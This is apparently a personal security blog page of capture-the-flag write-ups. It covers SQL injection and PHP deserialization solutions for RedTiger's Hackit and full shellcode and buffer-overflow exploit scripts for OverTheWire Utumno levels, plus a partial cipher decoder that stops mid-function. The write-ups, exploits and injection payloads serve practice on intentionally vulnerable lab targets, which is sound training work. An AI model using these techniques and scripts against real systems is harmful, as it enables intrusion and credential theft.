Hello Navi

Tech, Security & Personal Notes

Here's something encrypted, password is required to continue reading.
Read more »

Here's something encrypted, password is required to continue reading.
Read more »

RedTiger's Hackit

https://redtiger.labs.overthewire.org

RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。

解法记录如下。

Level 1 — Simple SQL-Injection

目标:获取 Hornoxe 用户的密码

表名:level1_users

页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:

1
SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1

这里 cat 参数查的是分类表,和登录无关。登录查询针对 level1_users 表。回显第 3、4 列。UNION 注入枚举 4 列即可:

1
?cat=1 UNION SELECT 1,2,username,password FROM level1_users

拿到 Hornoxe 的密码:thatwaseasy

登录后拿到 flag 和 Level 2 密码。

[credential redacted]

Level 2 密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme

Level 2 — Simple login-bypass

目标:登录绕过

用 Level 1 密码通过 Cookie level2login 认证后,页面显示登录表单。

SQL 类似(表名推测,页面未给出):

1
SELECT * FROM users WHERE username='$username' AND password='$password'

直接在 password 字段用 ' OR '1'='1 绕过条件验证。

[credential redacted]

Level 3 密码:feed_the_cat_who_eats_your_bread

Level 3 — Get an error

目标:获取 Admin 的密码

表名:level3_users

页面用 usr 参数查询用户详情。该参数经过 urlcrypt.inc 的解密函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function encrypt($str) {
$cryptedstr = "";
srand(3284724);
for ($i = 0; $i < strlen($str); $i++) {
$temp = ord(substr($str, $i, 1)) ^ rand(0, 255);
while (strlen($temp) < 3) {
$temp = "0".$temp;
}
$cryptedstr .= $temp."";
}
return base64_encode($cryptedstr);
}

function decrypt($str) {
srand(3284724);
if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $str)) {
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false) {
$decStr = "";
for ($i = 0; $i < strlen($str); $i += 3) {
$array[$i/3] = substr($str, $i, 3);
}
foreach ($array as $s) {
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>

srand(3284724) 固定种子,rand(0, 255) 序列可预测。

两个已知加密值: - MDQyMjExMDE0MTgyMTQw -> decrypt -> Admin - MDYzMjIzMDA2MTU2MTQxMjU0 -> decrypt -> TheCow

通过 glibc srand(3284724) + rand() + PHP RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226, 137...)。用 C 程序生成 200 个 key:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
int main() {
srand(3284724);
for (int i = 0; i < 200; i++)
printf("%d,", (int)(256.0 * rand() / (RAND_MAX + 1.0)));
}

加密 SQL 注入 payload 后用 usr 参数传入。表有 7 列,列映射为:

  • Username=2, First name=6, Name=7, ICQ=5, Email=4
  • id=1, password=7

Payload:

1
' union select '1',group_concat(password),'3','4','5','6','7' from level3_users#

加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。

[credential redacted]

Level 4 密码:put_the_kitten_on_your_head

Level 4 — Blind Injection

目标:获取表 level4_secret 中 keyword 列的第一个值

URL 参数:?id=N

页面提示:

  • LIKE 被禁用
  • 唯一需要盲注的关卡

?id=1 返回 Query returned 1 rows.,?id=0 返回 0 rows。

列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)

盲注脚本逐位提取 keyword:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://redtiger.labs.overthewire.org/level4.php'
cookies = {'level4login': 'put_the_kitten_on_your_head'}
keyword = ''
for i in range(1, 22):
bit = ''
# 判断 bit 长度
payload = {'id': f'if((select length(bin(ascii(substr(keyword,{i},1)))) from level4_secret limit 1)=7,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit_len = 7 if 'Query returned 1 rows' in r.text else 6
for j in range(1, bit_len+1):
payload = {'id': f'if((select substr(bin(ascii(substr(keyword,{i},1))),{j},1) from level4_secret limit 1)=0,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit += '0' if 'Query returned 1 rows' in r.text else '1'
keyword += chr(int(bit, 2))
print(keyword) # <credential-redacted>
[credential redacted]

Level 5 密码:this_hack_it's_old

Level 5 — Advanced login-bypass

目标:绕过登录

禁用:substring, substr, (, ), mid

提示:密码是 MD5 加密的

注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:

1
' union select '1','c81e728d9d4c2f636f067f89cc14862c' #

c81e728d9d4c2f636f067f89cc14862c 是 2 的 MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5 后比较。

[credential redacted]

Level 6 密码:the_stone_is_cold

Level 6 — SQL-Injection

目标:获取 level6_users 表中 status=1 的第一个用户

参数:?user=N

这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。

Payload:

1
' union select 1,id,3,password,5 from level6_users where status=1 #

返回:

  • Username: 3
  • Email: m0nsterk1ll

密码 m0nsterk1ll 登录成功。

[credential redacted]

Level 7 密码:shitcoins_are_hold

Level 7 — SQL-Injection

目标:获取发布 google 新闻的用户名(level7_news 表,autor 列)

限制:禁用 substr, substring, ascii, mid, like, --(no comments)

原始查询涉及 JOIN,错误信息泄露了结构:

1
2
3
SELECT news.*, text.text, text.title
FROM level7_news news, level7_texts text
WHERE text.id = news.id AND (text.text LIKE '%$input%' OR text.title LIKE '%$input%')

$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的 " 做 quote-balancing:

payload 的 "(第 1 列)在 MySQL 默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括 OR text.title LIKE 分支),直到第二次 union select 后的 " 才闭合。('(第 4 列)和模板残留的 %' 拼接成 ('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT 返回 4 列。

id=3 是 google 新闻在表中的条目 ID(通过枚举 text.title 确定)。

1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('

返回 autor:TestUserforg00gle

[credential redacted]

Level 8 密码:or_so_i'm_told

Level 8 — SQL-Injection

目标:获取 admin 的密码

用户信息编辑页面,注入点在 email 字段(没有转义)。

SQL 为 UPDATE 语句:

1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1

在 email 字段注入,将 password 写入 name 字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL 不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:

1
', name=(select password from (select password from level8_users limit 1) as t), email='a

执行后页面显示 Name 字段变成密码值。

19JPYS1jdgvkj

[credential redacted]

Level 9 密码:network_pancakes_milk_and_wine

Level 9 — SQL-Injection

目标:获取任意用户的用户名和密码

表名:level9_users(数据源表)

这是一个 INSERT 注入。页面有提交表单(author, title, text)。注意涉及两个表:INSERT 写入一个内容表(如 level9_news),子查询从 level9_users 读取目标数据。

= 被过滤,但可以通过闭合括号注入:

1
'),((select username from level9_users),(select password from level9_users),'1

或者用 updatexml() 做 error-based 注入:

1
a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or '

结果:

  • Username: TheBlueFlower
  • Password: this_oassword_is_SEC//Ure.promised!
[credential redacted]

Level 10 密码:whatever_just_a_fresh_password

Level 10

目标:以 TheMaster 身份登录

页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:

1
2
3
4
5
6
7
8
9
10
11
12
<b>Welcome to Level 10</b><br /><br />
Target: Bypass the login. Login as TheMaster<br />
<br /><br /><br />
<form method="post">
<input
type="hidden"
name="login"
value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9"
/>
<input type="submit" value="Login" name="dologin" />
</form>
<br /><br /><br />

解码后:

1
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

PHP unserialize() 反序列化后做 == 比较,后端大致逻辑:

1
2
$data = unserialize(base64_decode($_POST['login']));
if ($data->username == 'TheMaster' && $data->password == $db_password) { ... }

利用 PHP 类型转换漏洞:当 bool 和 string 用 == 比较时,true == "任何字符串" 恒为 true,password 比较永远通过。

构造 Serialize:

1
2
3
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

b:1; → boolean true

base64:

1
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=

The password for the hall of fame is: *****************************

[credential redacted]

utumno

utumno.labs.overthewire.org 2227

Utumno: 10 levels (0-9). Harder than Behemoth — creative exploitation: LD_PRELOAD hooking, argv/envp manipulation, integer overflows, negative index writes, setjmp/longjmp interference with pointer mangling.

Each user gets /tmp/utumno<N>/ for temp files.

1
2
3
4
5
6
SSH Information
Host: utumno.labs.overthewire.org
Port: 2227
User: utumno0
Passwords: /etc/utumno_pass/
Binaries: /utumno/

level 0 → level 1

Initial password: utumno0

Level 0: The binary is exec-only (no read permission). Calls puts() with the password string embedded in .rodata. Use LD_PRELOAD to hook puts() and dump the binary's data section from within the process:

1
2
3
4
5
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -Wall -shared -fPIC -ldl -m32 -o hook32.so ld-preload-hooks.c -DENABLE_ALL
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook32.so /utumno/utumno0
[LD_PRELOAD hook loaded] enabled: ALL
[HOOK puts] 'Read me! :P'
Read me! :P
1
2
3
4
5
6
7
8
9
10
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ vim hook-memdump.c
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -m32 -shared -fPIC -o hook-memdump.so hook-memdump.c
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook-memdump.so /utumno/utumno0
x.so.2
_used
rt_main
_2.0
on_start__
: **********
# ...

you can get the hook script from my scripts repo

ctf-tool

or use this script

1
2
3
4
5
6
7
8
9
10
11
12
// gcc -m32 -fPIC -shared preload.c -o preload.so
#include <stdio.h>
int puts(const char *str) {
const unsigned char *p = (const unsigned char *)0x0804a000;
for (int i = 0; i < 0x1000; i += 16) {
int ok = 1;
for (int j = 0; j < 16 && p[i+j]; j++)
if (p[i+j] < 0x20 || p[i+j] > 0x7e) ok = 0;
if (ok) fprintf(stderr, "%s\n", p+i);
}
return 0;
}
1
2
$ gcc -m32 -fPIC -shared preload.c -o preload.so
$ LD_PRELOAD=./preload.so /utumno/utumno0 2>&1

The password sits at 0x0804a010 in the binary's data section as a literal string.

[credential redacted]

level 1 → level 2

Level 1: Binary reads filenames from a directory and executes the part after sh_ as raw machine code.

Binary logic:

  1. Check argv[1] != NULL, else exit(1)
  2. mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → RWX region
  3. opendir(argv[1]), loop readdir()
  4. For each entry: strncmp(dname, "sh", 3) == 0 → match
  5. run(d_name + 3) → chdir(argv[1]), copy shellcode to RWX region, jmp there

So the shellcode IS the filename (after "sh_"). Constraints:

  • No null bytes (strcpy stops at \0)
  • No / (0x2f) — path separator, kernel rejects it in the filename
  • Max 252 bytes (Linux filename limit 255 − 3 for "sh_")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
r2 -A -q -c "pdf @ sym.main" /utumno/utumno1
┌ 173: int dbg.main (char **envp);
│ `- args(sp[0x8..0x10]) vars(4:sp[0x0..0xc])
│ 0x0804921b 55 push ebp ; utumno1.c:40:1 ; int main(int argc,char ** argv);
│ 0x0804921c 89e5 mov ebp, esp
│ 0x0804921e 83ec08 sub esp, 8
│ 0x08049221 8b450c mov eax, dword [envp] ; utumno1.c:44:14
│ 0x08049224 83c004 add eax, 4
│ 0x08049227 8b00 mov eax, dword [eax]
│ 0x08049229 85c0 test eax, eax ; utumno1.c:44:8
│ ┌─< 0x0804922b 7507 jne 0x8049234
│ │ 0x0804922d 6a01 push 1 ; utumno1.c:46:9 ; 1 ; int status
│ │ 0x0804922f e81cfeffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x804922b(x)
│ └─> 0x08049234 6a00 push 0 ; utumno1.c:49:11
│ 0x08049236 6aff push 0xffffffffffffffff
│ 0x08049238 6a22 push 0x22 ; '\"' ; 34
│ 0x0804923a 6a07 push 7 ; 7
│ 0x0804923c 6800100000 push 0x1000
│ 0x08049241 6a00 push 0
│ 0x08049243 e818feffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x08049248 83c418 add esp, 0x18
│ 0x0804924b a32cb20408 mov dword [obj.rwx], eax ; utumno1.c:49:9 ; [0x804b22c:4]=0
│ 0x08049250 a12cb20408 mov eax, dword [obj.rwx] ; utumno1.c:50:9 ; [0x804b22c:4]=0
│ 0x08049255 85c0 test eax, eax ; utumno1.c:50:8
│ ┌─< 0x08049257 7507 jne 0x8049260
│ │ 0x08049259 6a02 push 2 ; utumno1.c:51:9 ; 2 ; int status
│ │ 0x0804925b e8f0fdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x8049257(x)
│ └─> 0x08049260 8b450c mov eax, dword [envp] ; utumno1.c:53:22
│ 0x08049263 83c004 add eax, 4
│ 0x08049266 8b00 mov eax, dword [eax] ; utumno1.c:53:10
│ 0x08049268 50 push eax
│ 0x08049269 e832feffff call sym.imp.opendir
│ 0x0804926e 83c404 add esp, 4
│ 0x08049271 8945f8 mov dword [var_8h], eax
│ 0x08049274 837df800 cmp dword [var_8h], 0 ; utumno1.c:54:8
│ ┌─< 0x08049278 7533 jne 0x80492ad
│ │ 0x0804927a 6a01 push 1 ; utumno1.c:56:9 ; 1 ; int status
│ │ 0x0804927c e8cffdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x80492bf(x)
│ ┌──> 0x08049281 8b45fc mov eax, dword [s2] ; utumno1.c:61:30
│ ╎│ 0x08049284 83c00b add eax, 0xb ; 11
│ ╎│ 0x08049287 6a03 push 3 ; utumno1.c:61:13 ; 3 ; size_t n
│ ╎│ 0x08049289 50 push eax ; const char *s2
│ ╎│ 0x0804928a 6808a00408 push 0x804a008 ; const char *s1
│ ╎│ 0x0804928f e8fcfdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ ╎│ 0x08049294 83c40c add esp, 0xc
│ ╎│ 0x08049297 85c0 test eax, eax ; utumno1.c:61:12
│ ┌───< 0x08049299 7512 jne 0x80492ad
│ │╎│ 0x0804929b 8b45fc mov eax, dword [s2] ; utumno1.c:63:17
│ │╎│ 0x0804929e 83c00b add eax, 0xb ; 11
│ │╎│ 0x080492a1 83c003 add eax, 3 ; utumno1.c:63:13
│ │╎│ 0x080492a4 50 push eax ; int32_t arg_8h
│ │╎│ 0x080492a5 e81cffffff call dbg.run
│ │╎│ 0x080492aa 83c404 add esp, 4
│ │╎│ ; CODE XREFS from dbg.main @ 0x8049278(x), 0x8049299(x)
│ └─└─> 0x080492ad ff75f8 push dword [var_8h] ; utumno1.c:59:18
│ ╎ 0x080492b0 e8cbfdffff call sym.imp.readdir
│ ╎ 0x080492b5 83c404 add esp, 4
│ ╎ 0x080492b8 8945fc mov dword [s2], eax
│ ╎ 0x080492bb 837dfc00 cmp dword [s2], 0 ; utumno1.c:59:31
│ └──< 0x080492bf 75c0 jne 0x8049281
│ 0x080492c1 b800000000 mov eax, 0 ; utumno1.c:67:12
│ 0x080492c6 c9 leave ; utumno1.c:68:1
└ 0x080492c7 c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Build the shellcode, verify it has no nulls or /
$ python3 -c "
from pwn import *; context.arch='i386'
sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')
import sys; sys.stdout.buffer.write(sc)
" | xxd | head -1
# Should show no 00 or 2f bytes

# Set up the directory: symlink to /bin/sh, shellcode as filename
$ mkdir /tmp/x
$ ln -sf /bin/sh /tmp/x/code
$ python3 -c "
import sys, os; from pwn import *; context.arch='i386'
sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')
# Create file with raw shellcode bytes as filename (must be bytes path)
fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd)
"
$ /utumno/utumno1 /tmp/x
$ cat /etc/utumno_pass/utumno2

The shellcode does setreuid(16002,16002) (utumno2 UID = 0x3e82) then execve("code", ["code"], NULL) where "code" is a symlink to /bin/sh. The binary's run() calls chdir(argv[1]) before executing the shellcode, so the relative path "code" resolves correctly under /tmp/x/.

[credential redacted]

level 2 → level 3

Level 2: Binary checks argc == 0 then does strcpy(local_buf, envp[9]). Need argc == 0 via execve(path, NULL, envp). The 10th envp entry (envp[9]) overflows the 12-byte buffer, overwriting saved EBP and return address. Put NOP sled + shellcode in an earlier envp entry and point the return address there.

Write a Python script using pwntools + ctypes to call execve() with crafted envp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *
import ctypes

context.arch = 'i386'

shellcode = asm("""
xor eax, eax
xor ebx, ebx
mov bx, 0x3e83 /* utumno3 UID */
xor ecx, ecx
mov cx, 0x3e83
mov al, 71 /* setreuid */
int 0x80
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 /* execve */
int 0x80
""")

nop_sled_len = 52
payload = b'\x90' * nop_sled_len + shellcode

# Find NOP address with GDB first!
# On gibson-1 with clean env: 0xffffdfb0 (52 NOPs before shellcode)
ret_addr = 0xffffdfb0
overflow = b'A' * 16 + p32(ret_addr)

# Build envp via ctypes (to get argc=0, pass NULL argv)
libc = ctypes.CDLL(None)
envp_entries = [b''] * 8 + [payload, overflow, None]
envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)

libc.execve(b'/utumno/utumno2', None, envp_arr)

envp layout:

  • indices 0-7: empty strings (filler)
  • index 8: NOP×52 + shellcode (return address points here)
  • index 9: "AAAA×4" + p32(ret_addr) — overflow data, strcpy'd into buffer

Find the NOP sled address in GDB, update ret_addr, then run:

1
2
3
$ python3 exploit.py
$ id
$ cat /etc/utumno_pass/utumno3
[credential redacted]

level 3 → level 4

Level 3: Byte-by-byte return address overwrite. Binary reads pairs of bytes (position, value) via getchar() in a loop. The position byte is XOR'd with (iteration * 3) before being used as an offset from [ebp - 0x24] (or [ebp - 0x20] on the current binary version — check the offset with GDB). Need to compute position bytes that target EIP after the XOR transform.

The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of the return address, then fill remaining slots with harmless writes.

Shellcode goes in EGG environment variable with a NOP sled. Find the sled address with GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *
import struct
import os
import subprocess

context.arch = 'i386'

shellcode = asm("""
xor eax, eax
xor ebx, ebx
mov bx, 0x3e84 /* utumno4 UID */
xor ecx, ecx
mov cx, 0x3e84
mov al, 71 /* setreuid */
int 0x80
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 /* execve */
int 0x80
""")

# Find NOP address in EGG env var with GDB first!
# On gibson-1 with clean env: NOP sled at ~0xffffde00
NOP_ADDR = 0xffffde00

# Position bytes: write at [ebp - 0x20] + (P XOR (i*3))
# Target EIP at ebp+4, so need offset = 0x24 from base
# P XOR (i*3) = 0x24 → P = 0x24 XOR (i*3)
target = struct.pack('<I', NOP_ADDR)
payload = bytes([
0x24, target[0], # i=0: 0x24 XOR 0 = 0x24
0x27, target[1], # i=1: 0x24 XOR 3 = 0x27
0x22, target[2], # i=2: 0x24 XOR 6 = 0x22
0x2d, target[3], # i=3: 0x24 XOR 9 = 0x2d
])

# Fill remaining iterations with writes to saved EBP (harmless)
for j in range(4, 24):
p_val = (0x20) ^ (j * 3) # writes to ebp + 0
payload += bytes([p_val & 0xff, 0x41])

# Commands for the spawned shell (read from remaining stdin)
payload += b'id\ncat /etc/utumno_pass/utumno4\nexit\n'

# Launch binary with EGG env var containing NOP sled + shellcode
env = os.environ.copy()
env['EGG'] = b'\x90' * 500 + shellcode
subprocess.run(['./utumno/utumno3'], input=payload, env=env)
1
$ python3 exploit.py
[credential redacted]

level 4 → level 5

Level 4: Integer overflow in memcpy(). Arg1 is converted with atoi(), checked as 16-bit ≤ 63, but the actual memcpy size uses the full 32-bit value. Pass 65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but memcpy copies 65536 bytes.

Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer itself (second argument), with return address pointing into the NOP sled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwn import *
import struct
import os
import subprocess

context.arch = 'i386'

shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno5'))

# Second argument: NOP + shellcode + padding + ret addr
OFFSET = 65286
payload = b'\x90' * 500
payload += shellcode
payload += b'\x90' * (OFFSET - len(payload))

# NOP address (find with GDB; 0xfffddd2a on gibson-1)
NOP_ADDR = 0xfffddd2a
payload += struct.pack('<I', NOP_ADDR)
# Pad to fill 65536 bytes (matches the overflow size via arg1)
payload += b'\x90' * (65536 - len(payload))

# Pass payload as argv[2] directly (no shell byte-corruption)
subprocess.run(['/utumno/utumno4', '65536', payload])
1
$ python3 exploit.py
[credential redacted]

level 5 → level 6

Level 5: Requires argc == 0 (or argc == 1 with argv[0][0] == 0). Accesses argv[10] which equals envp[9] (since argv[0]=NULL for argc=0). The hihi() function does strlen(envp[9]); if > 19 chars, uses strncpy(buf, envp[9], 20) overwriting 12-byte buffer + saved EBP + return address. Shellcode goes in envp[8].

Critical: On this server, execve(path, NULL, envp) sets argc=1 with argv[0]="". So argv[10] = envp[8], not envp[9]. Need to swap: envp[8] = overflow data, envp[9] = shellcode with NOP sled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
import ctypes

context.arch = 'i386'

shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno6'))
nop_sled = b'\x90' * 100 + shellcode

# overflow: strncpy copies 20 bytes max
# 0-11: fills 12-byte buffer
# 12-15: overwrites saved EBP
# 16-19: overwrites return address -> NOP sled
NOP_ADDR = 0xffffdf44 # find NOP address in envp[9] with GDB
overflow = b'A' * 12 + b'B' * 4 + p32(NOP_ADDR)

# Build envp: argv[10] = envp[8] on this server (argc=1, argv[0]="")
envp_entries = [b''] * 8 + [overflow, nop_sled, None]
envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)

libc = ctypes.CDLL(None)
libc.execve(b'/utumno/utumno5', None, envp_arr)
1
$ python3 exploit.py
[credential redacted]

level 6 → level 7

Level 6: Table-based key-value store with 3 args: position (base10), value (base16), description (string). A write at [ebp + pos*4 - 0x30] with position = -1 overwrites the malloc pointer at [ebp - 0x34]. Then strcpy(corrupted_malloc_ptr, argv[3]) copies description to the overwritten address — a controlled write to anywhere.

Attack: Position -1 overwrites the malloc pointer at [ebp - 0x34] with the return address as an integer. Then strcpy(corrupted_ptr, argv[3]) copies the packed shellcode address to the return slot — hijacking EIP.

Write primitive chain:

  1. [ebp - 0x34] = ret_addr via the table write (pos=-1, value=0xffffda9c)
  2. strcpy(0xffffda9c, argv[3]) — writes 4 bytes of packed NOP address to the return slot
  3. Function returns → EIP = NOP sled in EGG → shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from ctypes import *
from pwn import *; context.arch='i386'
import struct

libc = CDLL('libc.so.6')

# Build EGG: NOP sled + null-free shellcode(same to use cat)
sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno7']))
egg = b'\x90' * 300 + sc

# Find these on the server via GDB (varies per environment):
# EBP ≈ 0xffffda98 → RET at 0xffffda9c
# NOP sled in EGG ≈ 0xffffddb0
ret_addr_loc = 0xffffda9c # write target: return slot
nop_addr = 0xffffddb0 # shellcode landing zone in EGG

argv = (c_char_p * 4)()
argv[0] = b'/utumno/utumno6'
argv[1] = b'-1'
argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addr
argv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot

envp = (c_char_p * 2)()
envp[0] = egg
envp[1] = None

libc.execve(b'/utumno/utumno6', argv, envp)

Address finding: Use GDB on the server to get EBP and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from extra env vars GDB adds). Run the exploit directly (not in GDB) with addresses found via GDB + known offset.

[credential redacted]

level 7 → utumno8

Level 7: Stack BOF with setjmp/longjmp. Binary allocates a 288-byte buffer at [ebp-0x120], a jmp_buf at [ebp-0xa0] (128 bytes into buffer), calls _setjmp, strcpy from argv[1], then longjmp.

glibc 2.39 PTR_MANGLE: longjmp uses pointer mangling on ESP and EIP (XOR with thread-local secret + rotate left 9). Only EBP is stored/restored raw. Direct EIP overwrite via jmp_buf doesn't work.

Strategy: Overwrite jmp_buf[3] (EBP, NOT mangled) at buffer offset 140 with the buffer address. After longjmp restores EBP = buffer_addr, the leave; ret sequence at vuln+84 pivots there.

Payload (144 bytes, null at byte 144 preserves mangled ESP/EIP):

1
2
3
4
5
6
7
8
buf[0-3]:   junk (popped into EBP by leave)
buf[4-7]: buf_addr + 8 (popped into EIP by ret)
buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes)
buf[128-131]: EBX (any)
buf[132-135]: ESI (any)
buf[136-139]: EDI (any)
buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)
null at 144

Two critical details:

  1. Null-free shellcode: The shellcode must NOT contain null bytes (strcpy stops at the first null). Use mov bl, val; mov bh, val instead of mov ebx, val32 which embeds nulls in the high bytes.
  2. Avoid /bin/sh: Dash drops EUID to RUID on startup (privilege sanitization). Use execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL) instead — no shell, no privilege drop.
  3. Buffer address finding: Since randomize_va_space=0 but GDB subtly shifts the stack, use a test shellcode (exit(42)) to brute-force the address. On gibson-1 with full SSH environment, buffer = 0xffffda2c.

Exploit script (exploit.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import os, sys, struct
from pwn import *; context.arch='i386'

buf_addr = int(sys.argv[1], 16) if len(sys.argv) > 1 else 0xffffda2c

# Build payload (145 bytes, null at byte 144 preserves mangled ESP/EIP)
payload = bytearray(145)
# buf[0-3]: junk (popped into EBP by leave)
payload[0:4] = struct.pack('<I', 0x41414141)
# buf[4-7]: buf_addr + 8 (popped into EIP by ret)
payload[4:8] = struct.pack('<I', buf_addr + 8)
# buf[8-127]: null-free shellcode + NOP padding
sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno8']))
payload[8:8+len(sc)] = sc
for i in range(8 + len(sc), 128):
payload[i] = 0x90
# buf[128-131]: EBX (any)
payload[128:132] = struct.pack('<I', 0x42424242)
# buf[132-135]: ESI (any)
payload[132:136] = struct.pack('<I', 0x43434343)
# buf[136-139]: EDI (any)
payload[136:140] = struct.pack('<I', 0x44444444)
# buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)
payload[140:144] = struct.pack('<I', buf_addr)
# byte 144 = 0 (strcpy stop → preserves mangled ESP/EIP)
payload[144] = 0

os.execve('/utumno/utumno7', ['/utumno/utumno7', bytes(payload)], os.environ)
1
$ python3 exploit.py ffffda2c
[credential redacted]

trytodecrypt.com

Text 19

5F70017FDD92B75AA6668648B404223663157787B35686FA165A8193E5075777F

与 Text 16 类似,每 4 位 hex 一组(偏移 + 编码字符)。前 13 位 hex(8 字节)是前缀/校验,有效数据从第 14 位开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "

# ============================================================
# Text 19 — Too Much 1
# Known solution: R2D2:C3PO:BB8
# Structure: each char encoded as 5 hex chars
# First n hex chars = separators (1 per char)
def decode_text19(ct):
result = ""
if len(ct) == 65:
data = ct[13:]
else:
raise ValueError(f"Unexpected ciphertext length: {len(ct)}")

for i in range(0, len(data), 4):
pair = data[i : i + 4]
if len(pair) < 4:
break
offset = int(pair[0:2], 16)
enc = int(pair[2:4], 16)
diff = (enc - offset) % len(CHARSET)
